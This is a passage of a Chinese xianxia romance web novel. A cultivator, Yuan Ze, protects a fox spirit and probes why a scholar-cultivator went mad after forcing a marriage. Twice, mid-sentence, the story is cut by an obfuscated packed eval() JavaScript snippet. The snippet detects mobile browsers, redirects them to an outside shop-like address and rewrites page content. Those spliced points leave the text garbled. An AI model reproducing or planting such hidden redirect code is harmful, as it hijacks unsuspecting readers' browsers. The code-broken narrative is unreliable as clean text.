《重养一只狐狸》 1. 重生 付过银钱,元泽从猎户手中接过牛皮袋,“多谢。” 猎户身后拖着两只腥血流尽的豪猪,他将碎银收进袖口,“姑娘,此地方圆十里都没有人家,你可是迷路了?” 元泽视线微斜,一边的草丛里有道红影闪过。 她转身,没有回答,只道:“萍水相逢,就此别过吧。” 回到山麓的小木屋,元泽绕了一圈,才在屋后找到了盘着尾巴的红色毛团。 “小红,乱跑做什么?” 红色毛团抬起脑袋,毛发蓬松双耳挺立,是一只稀有的红狐。 狐狸琥珀色的眼瞳打量元泽,莫名有丝矜傲和防备的意味,须臾又重新将脑袋搁了下去,不理她。 元泽挑了挑眉,二话不说,弯腰提起他的后脖子。 狐狸只来得及咕噜一声,便像提猫一样,被薅着后颈皮毛拎走,四足徒劳挣扎。 推开厨房门,一股白烟扑来,夹杂着一股奇怪的食物香味,烟囱也像解开了某种禁制原地复工,吞云吐雾。 元泽将狐狸放到桌上,狐狸四脚落到实地,右前爪刨了刨桌面,留下崭新的抓痕。 苏遗星死死盯着灶台前忙活的白衣女子,身体下压,跃跃欲试。 “别动,忘记我第一天抱你回来,你要挠我的下场了?” 闻言,狐狸耳朵抖了抖,慢吞吞地收起利爪。 灶台上的东西很快被取出,元泽一一摆在他面前: 芋头蒸老姜、黄瓜炒枸杞、土豆炖蒜头。 苏遗星难以置信地看着,他从没见过这样的人饭! 元泽双手抱胸,“你受了伤,这些都是大补。” “……” 苏遗星凑过去,将信将疑地舔了一下,这一下正好舔在被芋头夹中间的姜片上。 他浑身抽搐了一下,想呕呕不出。无论元泽说什么,也绝不再碰那三碗毒药一下。 到了晚上,他没精打采躲在桌角,看着床上的人不知从哪掏出来一块肉干,等反应过来,他已经跳到榻上,嘴里叼过肉干囫囵嚼了嚼一口咽下。 元泽发出一声轻笑,一把将他捞进怀里,手掌贴在他柔软温暖的腹中。 红狐并不是通体火红,他的双耳内侧是雪白的细软绒毛。下半张脸到整个腹部,都是红白渐变的毛发,腹部中间几乎是纯白色,毛发也更加柔软。 元泽的手就搭在那。 苏遗星整只狐都有些僵硬,想起第一个晚上他乱动,这个人类反手就拍他不可言说的地方。 太冒昧了! 元泽没有别的动作,呼吸渐渐平缓,好像睡着了。 苏遗星小心翼翼从她怀里钻出来,再次试图运转灵力。灵流流淌,一道淡淡的红光闪过,狐狸变成一个赤身裸体跪坐着的少年。 少年身材修匀皮肤雪白,一头红发铺满肩背腰臀,昳丽的面容好像精怪话本里的蛊惑人心的妖精,额间一抹狐尾印记,手腕脚腕盘着赤色妖纹。 苏遗星侧头,扭了扭右脚脚踝,上面的伤口只剩下一道淡淡的疤痕,按理来说他应该恢复了大半妖力,可为什么他现在连一件衣服都化不出来? 难道是她做了手脚? 转过头,元泽正安然躺在榻上,不知是不是他的错觉,这人的脸好像有点红。 不可能。 苏遗星很快否认,她看起来只是个普通人,而且和她相处这么多天,她除了做饭难吃点,也没伤害过他。 不过以后就不一定了,他今天看见她和一个猎户交谈,说不定就是想把他卖了。 总之还是快点离开。 突然一股极其细微的灵力波动荡漾开,苏遗星皱眉看向黑黢黢的窗外,红光掠过,他化为原型跳出了窗口。 塌上,入睡多时的白衣女子睁开眼睛,她漆黑的眼睛不自在地转开,伸手捏了捏自己的耳垂。 汹涌的灵力在屋外炸开,元泽捞过外衣披上。 七天了,来得真慢。 她施施然走过去,一把拉开门扉,垂眼睨着面前的场景。 三个年轻修士持剑而立,为首一人不过二十来岁,“妖孽,还想往哪里跑!” 在他们对面,片刻前还躺在她床上的狐狸,正四肢贴地趴着动弹不得,下方一个小小的捆缚阵法静静流转。 狐狸呲着牙,从喉咙里挤出愤恨的低吼。 “诸位远道而来不打声招呼就算了,抢我的枕头做什么?” 因这突然的言语,所有人的目光都转了过去。 待看清她的面容,为首的修士指尖一抖,捆缚阵法的纹路偏移,“师、师姐?” 师姐?! 苏遗星不可置信,她不是一个凡人吗? 她隐藏了自己的灵力。 他们是一伙的! 就在这时,阵法中灵流波动加剧,直冲苏遗星的脖颈。 “不好!” 那修士连忙收手,却已是来不及。 元泽抬手打了个响指,纯白灵力似水波拂过,杀气腾腾的阵法瞬间消散。 苏遗星一怔,这股灵力……他猛地看向元泽。 三个修士也有些呆住,元泽虽是他们的师姐,但修为算不上高,只是一个不上不下的金丹期。 这个捆缚阵法简陋,却也是他们三个金丹期合力布下,居然被她轻而易举破掉。 天边划过一道流光,一金衣修士御剑而落,剑眉星目,端的是朗月清风,“怎么回事?” “师兄!” “魏师兄!” 周隐绝口不提自己的失误,“我们追到那狐妖了,只是捆缚阵法被师姐打散了。” 魏则荣看向元泽,抱拳见了一礼,“师姐,你怎么在这?” “上个外派刚结束,找个地方放松几天,哪知道你们一窝蜂都来了,”元泽冲地上的家伙招招手,赤红的大狐狸一瘸一拐地走到她面前。 在这放松?魏则荣御剑到此,方圆十里都是山野荒地。 不过他没多说,只道:“师姐,这只狐妖我们要带回无为峰受审。” 元泽一手从牛皮袋中拿肉干喂他,一手翻开狐狸的肚皮撸,“小红,最近是不是胖了?” “……” 苏遗星浑身僵硬,一边嚼肉干一边在心里默默反驳:怎么可能?他这些天没一顿是吃饱的。 “师姐,”周隐上前一步,“这孽畜在浠水城作恶,被我们打伤之后逃到这里,你不知内情救便救了,可眼下……” 元泽收回手,淡淡撇了他一眼,“如何作恶?” “师姐你这是什么意思?我们又不会诓骗你,况且魏师兄也追来此。” 魏则荣道:“浠水城城主女儿上月大婚,夫婿乃外地人士,婚后受狐妖残害,如今人已疯了。” 苏遗星弓起身体,利爪刺进地面,琥珀色的兽瞳死死地盯着这些人。 元泽:“他为什么要害城主女儿的夫婿?有怨还是有仇?仇怨为何?” 苏遗星原本收缩的瞳孔骤然放松,反倒显得有些呆愣。 周隐道:“……我们回去一审便知!” 元泽:“何必等回去。” 将作恶妖物带回,外派便可核销。没人在意最后会审出什么。 “那你想如何?” 元泽示意当事狐,“直接问他不就好。” 周隐脱口道:“妖物狡猾,它的话如何能信?!” 元泽摊手,“那回去审有什么用,反正你们也不信。” “我……”周隐被堵得哑口,脸色红一阵白一阵。 魏则荣皱起眉,“师姐,浠水城新婿是从太清学府出来的修士。” 太清学府是太清宗在人间设立的学府,只要有志踏上仙途,皆可进入学习。修士筑基才能入太清宗,成为一名真正的灵修。 太清宗大部分弟子都是从学府上去的,元泽也不例外。内门有四峰一堂,元泽和这些人都隶属无为峰。 换句话说,赵子安与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241360|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们也算师出同门。只是没有筑基,无法真正拜入太清宗。 元泽不为所动:“所以有何仇怨?” 魏则荣:“……” 元泽看了眼浓重的夜色,打了一个哈欠,“今晚先休息吧,明日出发去浠水城。” “这——” “师兄。” 看着元泽将狐妖带进木屋,魏则荣脸色算不上好。他闭了闭眼席地而坐,盘腿调息,“先休息。” “……是。” 他们只好也跟着坐下,但忍不了抱怨。 “妖怪有什么好东西?明目张胆害人!无论什么原因都该抓!”周隐喋喋不休,“入门这么多年还是个金丹期,难怪只能在我们面前神气。” “就是就是,魏师兄入门两年已经结婴,不知道比元泽强多少!” “真不知道师兄为什么要听她的。” 两人一唱一和,一道女声似是忍无可忍,“够了,安静些吧。” “怎么?难道我说错了?”周隐不屑。 徐丽影道:“背后嚼舌根很光彩吗?” “你……” 木屋薄薄一层丝毫不隔音,加上深夜寂静,这些话一字不落传了进来。元泽恍若未闻,闭目盘坐在榻上。 苏遗星蹲坐在她身边。 一只手突然搭在了他的脑门上,接着一股温暖的灵力涌进身体,苏遗星感到自己经脉中无端的干涸瞬间被浸润,他的妖力恢复了。 元泽的声音从头顶传来,“你中了锁灵咒,外伤好了法力也不会恢复。” 苏遗星两只前爪互相扒拉,蓬松的大尾巴从左边甩到右边,口吐人言:“你早就知道?” “你是指什么?”元泽看了他乱动的尾巴一眼,“你是妖?还是你中了锁灵咒。” 这两样她根本都知道吧。苏遗星有些泄气,顿了片刻,他又问:“你为什么要帮我?” 元泽睁开眼,漆黑的眼眸有淡淡的思绪流转,“弄清事情真相而已,若你真的胡乱害人,我还是会罚你。” 苏遗星点点头,想了想,她还不知道自己的名字,“我叫苏遗星。” 元泽也不打坐了,俯身来托着下巴看他,“苏?你们狐狸精的大姓呀。” 苏遗星冲她呲牙,却不防撞进一双黑亮的眼瞳中,嘴角还坠着盈盈笑意。很温柔的样子。 他默默把牙收好。 距天亮约莫还有一个时辰,元泽决定小憩片刻,到了浠水城怕是没多少时间休息。 闭上眼,她却没有如愿的安稳入睡。 烈日黄沙逼得人口干舌燥,元泽坐在背阴的岩壁下运转灵力。 少年捧着水壶,一边看着她一边留意着周遭动静。 为了节省法力,他几乎是半妖的形态,红色长发被他自己胡乱地扎起来,一对狐耳挺立在发间。 她睁开眼,少年立马打开水壶凑过来,“怎么样?” 元泽侧过头,第一眼便看见苏遗星清透的琥珀色眸子,他殷切地看着她,目光灼灼,完全不在乎自己因高温而泛红的脸颊,和渗出细汗的额角。 “自己喝。” 苏遗星摇头,“我不渴,你快喝吧。” 少年的皮肤宛如瓷胎般细腻光滑,红发衬托得他更加白皙,几乎有股无端的明媚艳丽。 从古至今,狐族的皮囊一如既往得天独厚。 元泽闭了闭眼,“你何必跟着我。” “我不会给你添麻烦!”苏遗星急切道:“要是被发现,我一定会拖住他们!至少给你争取一点时间。” “你以为你很有用?” “……” 脱口而出的话也收不回,元泽撇见他干燥的唇瓣有些无措地抿了抿。 心中生出一股说出的焦躁,她一把夺过水壶,动作粗暴地捏着他的下巴给他灌了一口水。 画面淡去。 元泽睁开眼。 重生多时,她还是第一次这么清晰地梦见前世。 2. 浠水 元泽起身,狐狸已经不见了,取而代之的是床榻角落,一个红衣红发的少年抱着膝盖靠在墙壁上,歪着脑袋睡着了。 元泽微怔。 苏遗星似有所感,他眼帘微动,张开一双漂亮的琥珀色眸子,“……要走了吗?” “嗯,”再次见到这张脸,元泽垂眼呼出一口气,“你把头发变成黑色,额上的印记也不要露。” “可我本来就是红色的啊,”苏遗星瞟了一眼她的黑发,“红色不好看吗?” 完全相反,少年朱唇雪肤,一头红发张扬昳丽,明媚似雨后初晴。 元泽道:“红发太显眼,你既化作人形,就不要太惹人注意。” 换句话说,苏遗星这个样子出门,随便一个普通人都能看出来他是别的东西变的。 “哦。” 清晨天光微亮,元泽推开门扉,外面四人已准备妥当。 “师姐……”徐丽影话音一顿,略带讶异的目光落在元泽身后。 苏遗星已经变化了黑发,只有一身红衣鲜艳似火,宛如一个矜贵俊美的世家风流少年郎。 魏则荣微微皱眉,“师姐你要带他去?” “这不妥吧,”周隐吃瘪颇多,说话毫不客气,“我们要去浠水城,把他带去继续害人吗?” 元泽还没说话,苏遗星已经扬起眉梢毫不示弱,“你们这么多人都看不住我一个?” “你!” 苏遗星缩到元泽背后,两只手搭在她的肩膀上,还像狐狸似地冲周隐呲了呲牙。 元泽道:“我封住了他一部分妖力,在事情水落石出之前,他不会有机会动手。” 元泽此话算是担保,几人也没再多说什么。魏则荣从乾坤囊中取出飞舟,几人陆续上去。 徐丽影回头看了眼元泽和她身边的少年,心中有股怪异的感觉。元泽入无为峰多年,别说他们,整个无为峰上的弟子都跟她说不上几句话。 但今天看元泽与这狐妖的相处,竟是前所未见的熟稔。 此地距浠水城遥远,飞舟入夜才在城门口停下。 浠水城不是大城,常住人口三千余人,城主府位于浠水城中心位置,进城就能看见高耸的琉璃瓦顶。 几人直奔城主府,敲门表明来意,布衣府丁恭敬道:“还请诸位稍等片刻,容我向城主通报。” 魏则荣点头,“有劳。” 元泽斜倚着红木圆柱,自他们一行人进城,商贩和行人的目光就频频飘来,不是盯着苏遗星的脸,就是带着戒备的观察。 显然城中少有生人,这样闭塞的风气,城主居然会这么匆忙招一个外来的女婿。 府丁动作也快,不到一盏茶的时间,便请他们进去。 “仙君可是出什么事了?那妖怪抓到没有?” 进门先听到声音,年过半百的中年男子锦衣华服头戴金冠,像只大螃蟹走过来,身后跟着一群虾兵蟹将。 他一把握住魏则荣的手,“小女忧思成疾,前日又突然昏倒,我实在是担心啊。” 元泽挑眉,看来这就是城主本人了。说担心女儿,但男人看起来精神头很好,微胖的一张脸甚至有些油光满面。 魏则荣道:“妖物狡猾,我们追了一半丢了行踪,想来贵府再找找线索。” 这是元泽事先与他交待的。如果说妖怪捉到了,这些人不一定还会配合。 “怎么会追丢呢?不是都打伤了吗?”一听这话,城主真心实意担心起来,“仙君要我怎么做?那妖怪可一定要抓到啊!” 元泽道:“可否先让我见见您的女儿?” “这两位是?”城主注意到元泽和苏遗星,又看向魏则荣。 “她是我宗门师姐,途中遇见便一起过来了。” “师姐啊,难怪乎这般仙风道骨,”城主顿时谁也不管了,一下挤到元泽身边,“仙君路途受累,正好天色已晚,我先小备宴席,过后便叫小女清阳出来。” 元泽点头,“也好,劳烦。” 府丁带几人去厢房休息,元泽随口问道:“赵公子来浠水城多久了?” “不久,满打满算两月有余吧,”府丁答。 推算下来,赵子安来浠水城一个月便与城主女儿成婚。 与魏则荣的说法一致。 太急了。 “仙君,就是这儿。” “好。” 元泽进屋前留意了一眼,她在最里间,苏遗星在她右边第二间,中间是徐丽影。 不出半个时辰,城主备好了宴席。天色已经暗了下来,元泽等人顺着回廊往前厅去。 一道红色的身影窜到元泽身边,“元泽,你在哪间屋子?” 元泽看他,“做什么?” “我一个待着很无聊。” “是吗,”元泽嘴角翘了翘,“做人可能是比较无聊。” “……” 来到席间,元泽随便挑了一个位置落座,苏遗星立刻坐在她隔壁,生怕慢了一步。 说是小备宴席,可桌上这一堆八珍玉食,不可谓不奢华。 城主在主位说场面话,苏遗星被满满一桌子佳肴迷了眼,上手就要抓。元泽眼疾手快,一把将他伸了一半的手拿下来。 “急什么,”元泽好气又好笑,“你看大家吃你再吃,也不要用手,用不来筷子就用汤匙。” 苏遗星一下子僵住,“哦。” “清阳,来爹爹身边坐。” 一道月白色身影步入殿中,清阳罗裳素朴,头上也只有一根简单的玉簪。 她脸上施了淡淡的粉黛,但能从眼神看出来她此刻精神不佳。 清阳欠身行了一礼,而后坐到城主旁边。全程没有多看谁一眼,包括她亲爹。 元泽心想:看样子呆不久。 果然,宴席过半,清阳对城主说了句什么,便起身离开。 城主笑道:“小女身体抱恙,先回去休息,还请诸位仙君勿怪。” “城主哪里的话,”周隐喝了两杯酒,微微有些上脸。 元泽对埋头苦吃的苏遗星留下一句“吃完回屋待着”,便追着清阳消失的地方去了。 疾步行过一条回廊,元泽在小花园的石子道上看见了清阳的背影。 “清阳姑娘留步。” 月白色的身影停下,清阳眸光浅淡,“仙君有事?” 元泽走近,一股淡雅的清香先飘入鼻腔,虽然只有一缕,但确是抚人心脾,应该有安神之用。 “有一个疑问,望姑娘解惑。” “什么。” “你与赵公子成亲,当真是因为两情相悦?” 清阳淡声道:“婚姻大事,无非父母之命媒妁之言。” 元泽:“冒昧问一下,您今年贵庚?” 清阳似是有些不解,但还是回答:“二十有三。” “如果您真的这么听所谓的父母之命,这个年纪,您早就该成婚了吧?” “你……”清阳皱起眉,“仙君,我父亲请你们来府上捉妖,我的私事与你无关吧。” “是我唐突,”元泽从善如流:“那请问你与赵公子如何相识的?” 见元泽表情认真,清阳这才道:“一年前我身体出了问题,夜里总是惊醒,只有白天能小憩片刻,城内医师皆束手无策。” 正巧赵子安来到浠水城,听说这件事之后主动上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241361|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,短短三日便治好了清阳的不眠之症。 城主大喜盛情招待,两人年岁恰巧相差不大,这门亲事便就这么定下来了。 元泽问:“赵子安怎么治好你的?” “他说是魇兽。” 魇兽,一种最低级的精怪,一般会在人的神思极度脆弱,或者遭受巨大创伤时滋生。它不致命,只会在夜里出没,通过让宿主一遍遍陷入痛苦来获得养分。 但是一个家世优渥的小姐,遭遇了什么才会被魇兽缠上? 元泽不用问也知道清阳不会说。于是她换了一个问题:“如此说来,赵子安会一些法术,他对那个妖怪完全束手无策?” 清阳摇头,“我没有见过你们说的狐妖,我醒过来时他已经神志不清,一边喊自己的娘亲一边哭叫有鬼。” 这个反应对于一个普通人来说再正常不过,但是赵子安修过仙,被一个狐妖吓成这样,实在对不起太清学府。 况且苏遗星看起来不像会走吓人的路子。 琢磨了片刻,还没等元泽再问,身后突然响起一道声音:“小姐,您该回屋歇着了。” 元泽回头,只见拐角立着一个黑衣侍卫。 这人她方才见过,宴席上一直站在城主身侧,应该是心腹下属一类的人物。 清阳立即欠了欠身,“仙君留步,小女告辞。” 谈话便到此结束,元泽回去时宴席已近尾声,周隐喝高了正被同行的一位男修搀扶着离场。 城主正在与魏则荣和徐丽影谈话,询问赵子安的病有没有办法治好,元泽远远看了一眼没打算过去。 目光一转,她看向自己的隔壁席位,那里已经没有人影。 桌上的菜肴与她离开时差别不大,说明苏遗星在她走后没多久也离席了。 莫不是…… 元泽眉心一跳,再次投身入夜色中。 赵子安疯了之后一直被安置在城主府后院的一座阁楼中,除了伺候衣食住行的仆从,再没有旁人。 魏则荣等人上次来时见过他,确实疯得厉害,听不见人说话更不会回答。 如果不是徐丽影有耐心,主张守株待兔几日,怕是没那么容易逮到苏遗星。 元泽脚下生风,几个瞬息间便到了三层高的小阁楼前。 虽说她封了苏遗星一部分妖力,但赵子安情况更是糟糕,真要对上,也是早死慢死的区别。 小狐狸净会给她找事。 她环顾四周确定没人,翻进了二楼半掩的支摘窗。阁楼内稍稍有些空荡,两道脚步声越来越近,“春熙,你说赵公子的病能治好吗?” “谁知道啊,”名为春熙的姑娘叹了一口气,“小姐年纪轻轻就经历丧夫丧子之痛,好不容易遇见赵公子,又出了这档子事,真是命运弄人。” 原来清阳成过婚,还有过孩子。 眼看着人就要过来,她不想再翻窗户出去,扫视左右,有一间没上锁的屋子。她当即推开门,闪身而入。 几乎是下一瞬间,脚步声在屋外路过。 突然元泽感到脖颈间袭来一阵劲风,她矮身躲避,反手擒住偷袭者的手腕,同时另一只手灵力汇聚。 就在她要一掌拍出的刹那,一道极其细微的闷哼声在黑暗中泄露出来。 元泽动作一顿,“苏遗星?” 对方显然也认出了她,呼吸声加重,“…你怎么来了。” “我不来你打算做什么?” “……” 元泽语气不算好:“我怎么跟你说的?” 静默了好几息,苏遗星有些固执的声音才响起:“我不会逃,也不会连累你,事后你们要杀要剐,我绝不反抗。” 3. 魇兽 这般态度坚决。 元泽皱眉,“赵子安做了什么?你一定要他死。” 沉默在黑暗中蔓延了片刻,“我告诉你,你相信我吗?” “你说。” “赵子安,杀了她母亲。” “……” 元泽的第一反应是:难怪周隐他们不信。 她还没来及的说话,只听上面一声巨响,好像是什么东西倒塌的声音。 在赵子安待的三楼。 苏遗星下意识道:“不是我。” 元泽立刻转身,“走。” 两人先后夺门而出。 阁楼三层,魏则荣与徐丽影并排站着,面前跪着一个青衣女子,看打扮应该是府里丫鬟一类的人物。 元泽走近,听魏则荣问:“你叫什么名字?” “喜鹊。” 徐丽影先看见元泽和苏遗星,讶异道:“师姐?你怎么在这?他?” 元泽示意,“先说你们,发生什么了?” 事情是这样,宴席尾声时,城主来问他们赵子安能不能治好,两人不是医修,让城主找郎中看。 城主说浠水城的医师都找遍了,他实在是没有办法。魏则荣被缠得不行,就给了他一枚蕴养气血的丹药,说可以提提赵公子的精神。 城主大喜,只觉得仙家给的一定是灵丹妙药,只差磕头道谢了。 就在魏则荣和徐丽影道别离开后,发现一个人影鬼鬼祟祟地往后院的方向去。两人对视一眼,当即决定先不打草惊蛇,悄悄跟上去。 没想到这一跟就跟进了赵子安养病的阁楼。 徐丽影道:“我和师兄怕出意外,情急之下便踹了门。”她示意地上的匕首,“要是晚来一步,这匕首就要往赵子安的心口扎了。” 当然也不会这么简单,赵子安虽只是炼气期,基本紧觉性还在,他们破门的一瞬间,赵子安也醒了过来。 元泽看了眼身后的苏遗星,怎的一个两个都要杀他。 魏则荣道:“谁派你来的?” “无人指使,杀一个小人罢了,”喜鹊目光无畏。 魏则荣没有后话,徐丽影及时走过来,“姑娘,不用对我们有敌意,只是你无故杀人我们不能袖手旁观。若是你与他有仇怨,可愿说与我们听?我们定会还你一个公道。” 比起魏则荣硬邦邦的问话,徐丽影语调低柔,极易引人动容。喜雀眸光果然闪动了一下,但很快又坚定下来,摇头道:“我没什么好说的。” “你不要害怕……” 徐丽影继续劝说,魏则荣面色发冷地站在一边。 元泽也做不来怀柔,她打算先进屋,看看能不能在赵子安身上找到线索。 经过喜鹊时,一缕淡雅的、不算陌生的清香飘了过来。 她瞟了眼跪在地上的女子一眼,发现她刚刚虽然表现得很无所畏惧,但是搁在膝上的手捏紧成拳,身体紧绷。 元泽停下脚步,“你是清阳的人。” 喜鹊倏地抬头,“不是!” “确定要说谎?我们初来乍到,但城主府里,多的是认识你的人吧。” “……” 喜鹊不甘地低下头,虽未说话,但表情已经说明了一切。 徐丽影讶异,“师姐你怎么知道?” 元泽将在后院与清阳的对话,包括对方身上的香味说了出来,徐丽影点头,“原来如此。” 喜鹊厉声道:“这件事跟小姐没关系,全是我一个人的主意!” 魏则荣:“没人说与清阳有关,你何故抢先否认。” 喜鹊脸色白了一瞬,但很快镇定下来,“你们不就是这样怀疑的吗?我直接告诉你们,我杀赵子安是因为他负了我。他进府时先与我偷偷定情,后来城主有意将清阳小姐许配给他,他为了荣华富贵抛弃我娶了清阳,所以我要杀他。” 这一番话倒是天衣无缝,唯一能与之对证的还在疯着。 魏则荣微微皱眉,“修道之人,怎会贪图铜臭之物。” 元泽道:“既如此,你为何今天才动手?” 赵子安疯了好几日,喜鹊有千万个机会,为什么非要在他们来的这一天。 喜鹊道:“如果他一直是个疯子,姑且算是报应。但我听你们与城主说,赵子安能治好。” 这是魏则荣与徐丽影为了脱身,安抚城主的话。 元泽总觉得不会这么简单,但一时找不到突破口。 “明日交给城主吧,我们毕竟对城主府不熟,”徐丽影道。 “不行!”喜鹊的脸上褪了血色,“你们现在就杀了我!否则我不会放过赵子安!” 魏则荣神情透出些许疑惑,“姑娘,你这是何必,我们不会杀你。” “不就是修仙之人吗!装什么大义凛然!”喜鹊抖着手抓起地上的匕首指着众人,“你们和他都是一丘之貉!” 元泽皱起眉,话还未出口,忽听廊道那头的楼梯口响起一道焦急的嗓音:“喜鹊!” 清阳提着裙摆气喘吁吁,下一瞬她眼眸瞪大,好似看见了毕生最恐惧的事情,“喜鹊!不——!” 元泽暗道不好,匆忙回头。 只见喜鹊的匕首横在自己的脖颈间,寒光闪过,鲜血弥漫。 却是红衣少年抢先一步握住了刀锋。 方才所有人的注意力都被突然出现的清阳吸引,只有他没转移视线。 “苏遗星!”元泽最快反应过来,她挥出一道灵气夺过匕首,反手从窗户扔了下去。 苏遗星好像现才恢复痛觉,蹙眉收了一下手。 血迹晕染了他整个掌心,元泽抓住他的小臂,苏遗星手指蜷着,一道长长的口子还在渗出血迹。还好喜鹊力气不大,否则得看见骨头。 灵识在乾坤囊摸索,元泽很久没有受过伤,她也不知道自己有没有备丹药。 看着对方蕴着焦躁的眉眼,苏遗星有些发愣。 “给,止血的,”徐丽影递过来一枚丹药。 “多谢,”元泽拿给苏遗星,苏遗星将丹药咽下。 灵识在乾坤囊找到了包扎用的白色布条,她将布条取出,不太熟练地绕过苏遗星的掌心,在手背处小心地打了一个结。 清阳双眸红透,步伐不稳地走到喜鹊面前。 喜鹊也被吓傻了,赴死的决心只在一瞬间。面对清阳她气势全无,双唇嗫喏:“小姐……” “啪!” 喜鹊怔怔地偏过脑袋,清阳单薄的肩头发抖,手也在发抖,“你知道你在做什么吗?!” 主仆相对而立,一个目光 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“但他不答应,还威胁我若不嫁他,就将从魇兽里看到的事告诉所有人。”清阳苍白一笑,“没办法,我只能嫁给他。” 徐丽影忍不住道:“赵子安居然探魇兽的神识。” 魇兽没有实体,它的意识滋生于宿主内心的恐惧和执念,是每个人心底最隐秘部分,好似修仙之人的心魔。 学府教他们除魇兽的第一课就说过:不可探识。 清阳道:“成亲后,他继续威胁我同他圆房。” 徐丽影简直想骂人,但良好的涵养让她没有骂出口。魏则荣眸中闪过一丝厌恶的神色,“枉为修道之为人。” 元泽由衷评价:“禽兽。” “不过还未成功他就遇上狐妖,说起来我该感谢那位素未谋面的阁下。” 清阳还握着喜鹊的手:“她只是怕赵子安醒来继续强迫于我才出此下策,此事若被父亲知晓,我与她都会被罚,望各位仙君能保守这个秘密。” 魏则荣面色冷凝。徐丽影犹豫道:“清阳姑娘,你不如直接告诉你父亲,他若知道真相定不会让你和赵子安在一起。” “不行!”清阳话音一顿,“我是说,现在不急,如果有一天赵子安醒过来,我再说也不迟。” 元泽若有所思,如果事情这么简单,喜鹊不会在刺杀败露后想自我了断,太不值得、太过儿戏。 这其中一定有更不能为外人道的秘密,且这个秘密不能被其他人、尤其是城主知晓。 ——这个秘密,是赵子安在魇兽里看见的东西。 就在这时,被踹开的门内冲出一道嘶哑粗重的叫喊,就像处在报废边缘的破锣,“有鬼啊!娘!不要杀我!救命啊!!” 几个人立刻进屋——当然主要是魏则荣和徐丽影。元泽与苏遗星随后,最末尾是清阳与喜鹊。 屋内漆黑一片,徐丽影挥手点燃了两只蜡烛。 只见塌上乱七八糟,锦被一半掉在地上,而只穿了一件里衣的男人抱头蹲在墙角,头发乱糟糟的一团,“嗬嗬”的喘气声不断,时不时还叫两句“救命”。 4. 芝兰(一) 元泽挑眉,“现在才喊救命?” 徐丽影道:“他方才就醒了,师兄给他施了昏睡咒,没想到挣脱得这么快。” 魏则荣直接走过去,还没靠近,赵子安又尖叫起来:“啊啊!我错了!不要杀我!!” 怕成这样,莫不是亏心事做太多。 他们这一共六个人,有一半想要他的命。做人做成这样,也是很成功。 正想着,她看了苏遗星一眼。 少年身体紧绷,一张美人面上恶意与恨意并存。 他死死盯着角落里讨命告饶的赵子安,浓密眼睫抬起,琥珀色眸子在烛火的阴影下翻涌着浓重的杀气,额上的狐尾印记显露一瞬,活像一只怨气滔天的野鬼。 她毫不怀疑,如不是他尚存理智,恐怕此时已经动手了。 如此反应,远不是面露嫌恶的清阳和喜鹊可比。 元泽不动声色靠近,手掌在他细窄的后腰上搭了一下。 苏遗星说什么根本不重要,这个外派是魏则荣等人接的,他们信不信才是关键,能找到线索最好。 可赵子安这个样子,该从哪里下手? “我知道错了!!”赵子安还在抱头痛哭,鼻涕眼泪糊了满脸,一边磕头一边喊:“不要杀我!娘!救命!求求你放过我!” 哭喊声震天,根本无法交谈。魏则荣正要再捏一个昏睡咒,被他突然下跪磕头的动作打断。 元泽突然道:“等等。” “做什么?”魏则荣不喜吵闹,他已经忍耐到极限。 元泽不能保证自己的做法有效,她轻咳一声,尽量让自己的声音苍老一些,“赵子安,娘在这。” 此话一出,所有人都难掩讶异地看着她。徐丽影甚至回忆了一下,她也没见到元泽喝酒,这就醉了? 只有苏遗星目光怔然。 疯狂磕头的赵子安突然大叫一声,像是受到了巨大的惊吓,抱头将自己怼进墙角。 “啊啊别过来!娘我真的知道错了!求求你饶了我吧!!” “你可知你犯了什么错?”元泽走近一步,“你可知我为何来找你?” “我不是故意的啊!我只是太冲动了!”赵子安额头死死抵着墙壁,妄图自己能钻进去,“对不起我真的知道错了,娘你放过我吧!求你了呜呜呜……” 对着这一幕,几个人已经完全懵了。还是喜鹊最先开口:“他…他为何这般害怕他母亲?” 元泽心道这就要看他做了什么,她厉声道:“赵子安,你大逆不道,还有何颜面活在世上?!” 赵子安抖如筛糠,或许是退无可退,他忽地转身面对元泽。 “……要不是、要不是你逼我!我怎么会动手!”他双目猩红恨恨地盯着元泽,瞳孔时而涣散时而收缩,一派癫狂之色,“迂腐的妇人!都死了还阴魂不散——啊!” 瞬间,赵子安被人掐住脖子猛然掼倒在地上! “闭嘴!”苏遗星手背浮现起青筋,长发如海藻迤地,字句冰冷,一字一顿,“我送你去死。” 赵子安长大嘴巴粗哑喘息,身体不停抽搐,挣扎不得。 在摇晃的视野和窒息的痛苦中,他看见一双琥珀色竖瞳,“是你——” - 苏遗星还未修炼成妖时,流浪过很长时间。某天他在一片密林中捕猎,不幸踩中猎人暗置的捕兽夹。 他不是第一次踩中这个会咬人的铁嘴巴,所以他知道,如果没人帮忙他根本甩不开这东西。 他摔在地上,鲜血的味道会吸引其他捕猎者,他蹬了蹬自己的后腿,除了利齿嵌入得更深、他感觉更痛之外,没有丝毫用处。 他有些悲伤,脑中幻想自己的各种下场,没一种能活下去。 当脚步声由远及近地响起时,他几乎要哭出来。 “狐狸?”一道略微沙哑的女声响起,“怎么这么不小心。” 接着苏遗星感到自己后腿的疼痛消失。 被扔下的捕兽夹已经布满铁锈,猎人大约早就遗弃了这个陷阱。 